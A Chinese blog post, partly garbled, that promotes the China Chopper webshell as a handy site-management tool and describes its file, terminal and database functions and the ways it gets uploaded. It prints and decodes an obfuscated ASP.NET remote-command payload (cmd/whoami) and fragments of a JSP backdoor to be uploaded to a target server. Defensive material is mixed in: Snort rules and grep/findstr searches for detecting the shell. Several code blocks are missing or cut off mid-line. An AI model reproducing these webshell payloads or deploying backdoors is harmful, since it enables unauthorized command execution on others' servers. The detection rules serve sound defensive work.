相信大多数的站长都用FTP来管理web空间,但是相对于菜刀来说FTP简直弱到爆.就数据库管理方面来说,phpmyadmin和帝国软件只能管理mysql数据库,而且在软件的体积上跟菜刀完全没法比,如果精通SQL语法,何必还要PHPMYADMIN呢?而且中国菜刀以其特色图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS,支持ADO方式连接的数据库。

服务端:

在服务端运行的代码如下:

PHP:

ASP:

ASP.NET:

JSP:

(注意: ASP.NET要单独一个文件或此文件也是Jscript语言)

叉叉之前在上传漏洞演示,利用burpsuite抓包改包上传最后讲到用菜刀连接,看看是怎么实现的:

在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(这个必须要),选择正确的脚本类型和语言编码,保存后即可使用文件管理,虚拟终端,数据库管理三大块功能。要是其它都没错误,那么可能就是你把语言编码选错了.

1. 文件管理:缓存下载目录,并支持离线查看缓存目录,上传下载修改文件

2. 虚拟终端:人性化的设计,操作方便;(输入HELP查看更多用法)

3. 数据库管理:图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS支持ADO方式连接的数据库。

(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)

PHP脚本:

类型 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种

主机地址 主机地址可为机器名或IP地址,如localhost

数据库用户 连接数据库的用户名,如root

数据库密码

连接数据库的密码,如123455

ASP和ASP.NET脚本:

类型 类型只能填ADO

ADO配置信息

ADO连接各种数据库的方式不一样。如MSSQL的配置信息为

Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456

4. 网站蜘蛛功能:织出一张网站的目录结构。下载的列表文件存在桌面,右键菜单/载入URL列表即可以根据地址得到目录结构

中国菜刀上传的机制:

通过WebDAV文件上传

通过JBoss jmx-console 或者Apache的Tomcat管理页面上传

远程代码执行下载

通过其他方式接入后传输

其攻击payload的编码如下:

Password=Response.Write("->|");

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0luZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0luZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|

使用Fiddler的text wizard功能将其base64解码为明文varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z1"])));

vare=newSystem.Diagnostics.Process();

varout:System.IO.StreamReader,EI:System.IO.StreamReader;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;c.RedirectStandardError=true;

e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z2"]));

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();

Response.Write(out.ReadToEnd()+EI.ReadToEnd());

上面这段代码的意思是使用base64解码存储在z1、z2这两个参数中的数据。接下来我们来查看z1与z2对应的值。

&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d75px9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

base64解码参数对应的值,如下所示:

z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]

其中z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行cmd命令,列出当前用户与当前目录,执行结果如下所示:

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|

now,我们知道中国菜刀的流量通信的特征,可以利用网络或主机级别的防护软件检测这种恶意通信。

网络:

可以利用Snort编写规则检测中国菜刀的流量,能够轻松的捕获到异常数据,Keith Tyler在他的博客中给出了一个基本的IDS规则:

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)

为了减少误报,我们将该段规则修改了下,只检测数据包内容中包含FromBase64String以及z1,如下:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with first Command Detected";

flow:to_server,established; content: "FromBase64String";

content: "z1"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000101;)

以下规则更进一步优化,以下规则在数据包中查找FromBase64String,并且利用正则表达式匹配z后面任意一到三的数字组合,如Z1、Z10、Z100等。

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with all Commands Detected"; flow:to_server,established;

content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000102;)

这些IDS特征都可以进一步优化,OK,我们了解了网络层面如何检测中国菜刀数据包,接下来介绍下如何通过主机级别的检测发现该数据包。

主机:

在Linux上最快最简单的方法查找中国菜刀,可以利用egrep+正则表达式识别被感染的文件,如下:

egrep -re ‘ []‘ *.php

egrep+正则表达式是一个强大的组合,国外安全研究者Ian Ahl编写了一些正则表达式教程,如下:

regex basics

Using regex with Notepad

另外,Window提供了一种方法,通过findstr命令加上正则表达式搜索文件。如下:

可以看到在Windows上正则表达式与linux略有区别,如下:

findstr /R "[]" *.php

以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正则表达式即可,如下:

egrep -re ‘[][

findstr /R "[][

如果你要查找一些隐藏的PHP或ASPX文件,可以使用dir命令来,如下:

dir /S /A /B *.php

Findstr还可以搜索子目录:

findstr /R /S "[]" *.php

记录一下JSP几种后门

以下是服务端,保存成one.jsp并上传至目标服务器中。

通过使用一句话木马客户端连接one.jsp木马。

将下列代码保存为html页面:

JSP一句话木马客户端

专用JSP木马连接器

服务端地址

保存完成后,打开html页面,写入一句话木马服务端地址,    例如http://shenwolf.wap.zhanqunabc.cn/,写入需要的代码和保存的文件名称点击保存即服务器,使用中国菜刀工具进行连File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"rn");}br.close();}else OutputStreamWriter(new {KK(z1,z2);sb.append("1");}else

if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"

本次中国菜刀总结:Snow 狼

QQ:2942953950

群号码:582103166

官方网站:http://shenwolf.wap.zhanqunabc.cn/

谢谢观看

mysql中国菜刀连接_中国菜刀使用方法以及小技巧相关推荐

  1. mysql中国菜刀连接_中国菜刀(Chopper)详细剖析

    在第一部门份的菜刀剖析里面,已经介绍了"中国菜刀"的易用界面以及一些高级特性.--其中最令人注目的,莫过于其作为web shell的大小,aspx版仅有73字节,在硬盘中才4k.而 ...

  2. python 公主连接,公主连接打金牛座四王有什么小技巧吗 一阶段四王图文攻略

    公主连接打金牛座四王有什么小技巧吗?四王鹿是公主连结金牛座团队战中的新BOSS,相对三王和五王来说伤害较低,是打追梦刀的好选择之一.那么一阶段的四王怎么打出高伤害呢?接下来就让小编带着小伙伴们让咱们一 ...

  3. java 菜刀_中国菜刀使用方法以及小技巧

    相信大多数的站长都用FTP来管理web空间,但是相对于菜刀来说FTP简直弱到爆.就数据库管理方面来说,phpmyadmin和帝国软件只能管理mysql数据库,而且在软件的体积上跟菜刀完全没法比,如果精 ...

  4. php如何用菜刀连接getshell,xise菜刀后门箱子制作:Sqlmao连接Mysql实现Getshell

    首先得知道这个玩意,sqlmap -help,不说大家也懂搜嘎. 语法为:" DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME&quo ...

  5. centos6安装mysql并远程连接_如何开启phpstudy中mysql的远程连接

    phpstudy是一款非常方便的php集成环境,许多人会使用它作为PHP网站的实验环境.phpstudy中也集成了Mysql数据库,那么集成环境中的mysql数据库如何才能远程连接呢? 通常情况下,实 ...

  6. mysql表全连接_关于mysql 实现表连接(左,右,内,全连接)

    mysql 实现表连接(左,右,内,全连接) 查询中出现两个表的连接,下面通过实例来讲解一下各种连接查询的不同之处 表 a,和表b 如下图 a 表中 有 abcd b表中有 abcf 内连接:SELE ...

  7. deepin中mysql数据库的连接_教你如何典雅的用Python连接MySQL数据库

    简介:作者 | Python语音识别不管是机器学习.web开发或者爬虫,数据库都是绕不过去的.那么今天我们就来介绍Python如何Mysql数据库进行连接以及数据的交换.主要分为以下几个方面:什么是数 ...

  8. linux上的中国象棋游戏下载,中国象棋下载_中国象棋最新下载_玩一玩游戏

    中国象棋是起源于中国,的一种棋类游戏,属于两个人之间的对抗,在中国有着悠久的历史.由于它的器皿简单,趣味性强,它已经成为一种非常受欢迎的棋类活动. 中国象棋是中华民族的文化瑰宝,历史悠久,趣味性强,基 ...

  9. 远程mysql用ssh连接_使用SSH密钥连接到远程MySQL服务器

    远程mysql用ssh连接 In this article, it will be described how to connect to remote MySQL Server on Linux O ...

最新文章

  1. SourceForge 停止在被遗弃项目捆绑第三方软件
  2. 交换排序之——冒泡排序(c/c++)
  3. 【PC工具】更新win10关闭更新工具及注意事项
  4. QT5.11 + VS2017 环境搭建
  5. 支持javascript的ppt软件_github重磅推荐!一个很好用的PPT生成工具
  6. mysql 和区块链的差别_论区块链是什么数据库——正名篇
  7. 自动躲避障碍物,微型蜂鸟机器人靠AI算法飞行
  8. TensorFlow实验(3)
  9. 利用反射做一个简易 Spring IOC 容器,模仿其装配功能
  10. java时区和时间的关系_Java 时间、日期与时区的关系
  11. 重力加速度传感器角度输出
  12. 【看表情包学Linux】进程创建 | 进程终止 | 分叉函数 fork | 写时拷贝 | 内核数据结构缓冲池 | slab 分派器
  13. listview qt 选中内容_演练: 操作Qt应用中的QListView
  14. rpm 查看依赖关系 依赖谁和被谁依赖
  15. [m0leCon beginner 2022] 部分
  16. 人生赚一个亿小目标难吗?手把手教你走上人生巅峰
  17. 彩信相关,还需要处理,没怎么写注释,不适合无相关经验的
  18. 高等数学五-补充1-三角函数定积分
  19. Python实现将坐标点绘制到地图上
  20. iphone尺寸大全

热门文章

  1. sql安装弹出sqlcmd_SQL Server中SQLCMD实用工具概述
  2. jmeter参数化之配置元件CSV控件
  3. jupyter修改默认目录
  4. Windows下FFmpeg各版本库文件下载
  5. preparedStatement和Statement 有什么不一样
  6. java递归方法建立搜索二叉树,具备查找关键字,插入新节点功能
  7. 张艾迪(创始人): 我的梦想与成长之路
  8. IE6下css常见bug处理
  9. WPF Page close
  10. C# DataSet和DataTable详解